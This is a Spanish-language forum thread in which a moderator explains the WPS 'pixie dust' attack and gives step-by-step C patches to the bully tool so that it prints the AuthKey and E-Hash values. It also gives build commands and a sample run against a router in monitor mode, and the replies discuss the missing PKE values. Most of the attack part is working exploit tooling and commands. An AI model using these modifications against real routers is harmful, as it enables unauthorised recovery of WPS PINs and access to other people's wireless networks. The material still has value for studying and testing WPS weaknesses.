Modificar bully para el ataque pixie dust (Pagina 1) / Scripts y programación / Foro Wifi-libre.com

El libre pensamiento para un internet libre

No estas registrado.     

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

#1 30-03-2015 15:49:59

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,069

Modificar bully para el ataque pixie dust

Modificar bully para realizar el ataque pixie dust

  Antes de todo dar le las gracias a wiire del foro kali linux y del foro hack forum para explicar estos trucos muy útiles.(y necesarios)
Podéis encontrar las explicaciones en su fuente original aquí : A new WPS flaw surfaced!!*

*Desgraciadamente el registro es obligatorio y el foro es algo confuso pero es una mina

  ¿Porque queremos modificar bully o reaver? Para realizar el ataque pixie dust : "Pixie Dust" ataque de fuerza bruta offline para generar el PIN valido

  No voy a volver a exponer los detalles, solo recordar  la parte que nos interesa ahora.
  En ultima instancia, un crack "pixie dust" consiste en un brute force de los hashes E-ASH1 y E-ASH2 que forman nuestro M3
Aquí podemos ver la estructura del  M3 :  pixidust4.jpg
Y aquí los detalles de una captura de M3 con wireshark : Selection_015.png
  La parte roja en la parte inferior de la captura de pantalla anterior corresponde al M3 y el valor del ehash-1 sale en letras blancas
Esta cadena nos permitirá averiguar la primera mitad del PIN en uso
  Y unos caracteres después tenemos al valor de nuestro ehash-2 (que contiene la segunda mitad del PIN)
En los detalles un e-hash se forma así : Selection_016.jpg
Es decir que es el resultado de una cadena pasada por la función de hash " HMAC (sha256)" - preciso que se trata de HMAC con sha256 y no HMAC con md5. 
  la cadena utilizada se forma de cuatros elementos. E-S1 + PSK1 + PKE + PKR
A estas alturas tres de ellos son conocidos, las llaves publicas PKE y PKR que tenemos a la vista en el M1 y en el M2 y además ES-1.
Conocemos el valor de  ES-1 porque en el caso de los chipset ralink su valor es 0. ( Para otros chipset se requiere un brute force del estado PRNG.)
PSK1, el cuarto valor, es el que desconocemos en la cadena y corresponde a la primera mitad del PIN.
  Por lo tanto tendremos que generar las 10000 posibles primeras mitades de PIN para formar nuestros 10000 ehash-1 posibles y comparar con el ehash-1 legitimo que contiene el M3. 
¿Os habéis perdido? NO pasa nada... big_smile
Lo importante : para generar nuestros HMAC necesitamos la llave empleada para pasar la cadena compuesta de nuestros cuatro elementos identificados 
Los elementos que forman la cadena a utilizar con la llave : o los conocemos (PKE-PKR-ES-1)  o sabemos que valor pueden tener ( PK1 va de 0000 hasta 9999)   
La llave (auth key) no la conocemos con una simple lectura de paquetes.

  Para poder recoger nuestra "auth key" ( es absolutamente necesario para el attaque pixie dust ) debemos modificar ligeramente reaver o bully para que hablen más...

Modificación necesaria : imprimir la "authkey" en pantalla

  Seguimos los pasos de wiire y descargamos bully que descomprimimos.

wget https://github.com/Lrs121/bully && unzip bully-master.zip 

Una vez hecho abrimos el fichero  wps_common.c con un editor de texto para modificarlo

gedit /bully-master/src/wps/wps_common.c

justo después la liña 121, es decir en liña 122, debemos insertar el código que sigue :

/****** ADD THIS PART ******/
    printf(" > AuthKey: ");
    int pixiecnt = 0;
    for (; pixiecnt < WPS_AUTHKEY_LEN; pixiecnt++) {
        printf("%02x", *(wps->authkey + pixiecnt));
        if (pixiecnt != WPS_AUTHKEY_LEN - 1) {
            printf(":");
        }
    }
    printf("\n");
    /******/

les queda algo así : modbully2.jpg

Este paso es absolutamente necesario porque no podremos ver la authkey en nuestros paquetes  M.
Además podemos aprovechar la oportunidad para hacer que salgan en pantalla los dos ehash empleados con la authkey.

Modificaciones útiles : imprimir E-HAHS1 y E-HASH2

  Del mismo modo que anteriormente vamos a seguir los pasos de wiire y insertar un bucle for para pillar la cadena , bucle seguido de un comando printf para imprimir dicho valor en consola.
   Esta vez abrimos el fichero wps_registrar.c que se encuentra al lado del fichero que hemos modificado anteriormente (wps_common.c)

gedit /bully-master/src/wps/wps_registrar.c

   Y nos situamos justo en la liña  1719 para modificar la función wps_process_e_hash1 añadiendo el bloque de código siguiente :

/****** ADD THIS PART ******/
    printf(" > E-Hash1: ");
    int pixiecnt = 0;
    for (; pixiecnt < WPS_HASH_LEN; pixiecnt++) {
        printf("%02x", *(wps->peer_hash1 + pixiecnt));
        if (pixiecnt != WPS_HASH_LEN - 1) {
            printf(":");
        }
    }
    printf("\n");
    /******/

Y tenemos algo así : modbully3.jpg
Ojo que debemos insertar el código a dentro de la función

Y hacemos algo similar para  EHASH-2 :
justo después en la función wps_process_e_hash2 que debemos dejar así

    wpa_hexdump(MSG_DEBUG, "WPS: E-Hash2", wps->peer_hash2, WPS_HASH_LEN);

    /****** ADD THIS PART ******/
    printf(" > E-Hash2: ");
    int pixiecnt = 0;
    for (; pixiecnt < WPS_HASH_LEN; pixiecnt++) {
        printf("%02x", *(wps->peer_hash2 + pixiecnt));
        if (pixiecnt != WPS_HASH_LEN - 1) {
            printf(":");
        }
    }
    printf("\n");
    /******/

    return 0;

lo que nos da : modbully4.jpg


Fácil ¿No?
Recuerdo :

  • Los cambios se han de efectuar antes de compilar/instalar, no podemos modificar así una versión de bully ya instalada.

  • Suponiendo que ya tenemos aircrack-ng instalado con sus dependencias necesitaremos instalar libcap-dev0.8

tengo buly ya instalado asi que voy en la carpeta src para lanzar

sudo make uninstall

se podría hacer con un

sudo rm -f /usr/local/bin/bully

al ver lo que devuelve nuestra consola

Y me voy al directorio src del bully-master que he modificado (lo tengo en mi carpeta personal )  :

cd ~/bully-master/src

para instalar el buly modifcado

make && sudo make install

modbully5.jpg

ahora podemos pillar los datos de nuestro router (para copiar y pegar los en nuestra orden bully) y pasar el mode monitor y verificar que funcione sobre nuestro PA (hay que habilitar el WPS antes)

sudo wpa_cli scan_results && sudo airmon-ng start wlan0

Y probamos...

sudo bully -b 00:1a:2b:XX:XX:XX -v 3  wlan0mon

modbully6.jpg

  Veis como obtenemos en consola la authkey. : Nuestra mod de campeones tongue  funciona. cool
Notar que hay que ser rápido con Bully para prensar CTRL+C y parrar el proceso para no tener demasiadas "auhtkey" y liarse a la hora de usar los datos. (y accesoriamente para no despertar inútilmente el AP rate limit)
   La mod es básica y se trata de un código PoC solo destinado a la obtención de la authkey.
  Ultima cosa, he pillado bully desde estos repositorios : Lrs121/bully ya que como explica su autor los repositorios oficiales están cerrados.
Saludos y gracias a wiire por la explicación y a  Lrs121 por mantener unos repositorios con bully

Desconectado

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

#2 27-04-2015 22:41:24

saturno
Expulsado

Registrado: 27-04-2015
Mensajes: 48

Re: Modificar bully para el ataque pixie dust

lo que no sale es PKE como el reaver

Desconectado

#3 28-04-2015 12:55:42

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,069

Re: Modificar bully para el ataque pixie dust

Buenos días saturno
En efecto :  Con esta mod no salen ni la PKE ni la PKR (tampoco la e-nounce que es necesaria para realteck )
Esta "mod" básica estaba enfocada antes de todo en sacar la "auth key" ya que el valor de la "auth key" es el único que no se puede pillar en las capturas de traficó y se ha de "pilar al vuelo" mientras toma lugar el intercambio de laves "Diffie Hellman".
El reaver automatizado para pixiewps es sin duda la mejor opción ( Reaver modificado para Pixie Dust ) wink
por esto puse este tema en el foro "script y programación" y no en "herramientas para ataque WPS"
Es más para ver el mecanismo que otra cosa.


PD : ¡Bienvenid@ a WiFi-libre! big_smile

Desconectado

#4 28-04-2015 18:18:15

saturno
Expulsado

Registrado: 27-04-2015
Mensajes: 48

Re: Modificar bully para el ataque pixie dust

ya entendi gracias kcdtv he probado el pixiewps y con router que me pilla y nada no funciona y con el reaver modificado y nada

y con los mac 8C:0C:A3:XX:XX:XX menos no funciona

Desconectado

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

Pie de página

Información del usuario

Ultimo usuario registrado: evam
Usuarios registrados conectados: 0
Invitados conectados: 2

Estadisticas de los foros

Número total de usuarios registrados: 357
Número total de temas: 621
Número total de mensajes: 4,272

Máx. usuarios conectados: 45 el 12-04-2016 12:02:20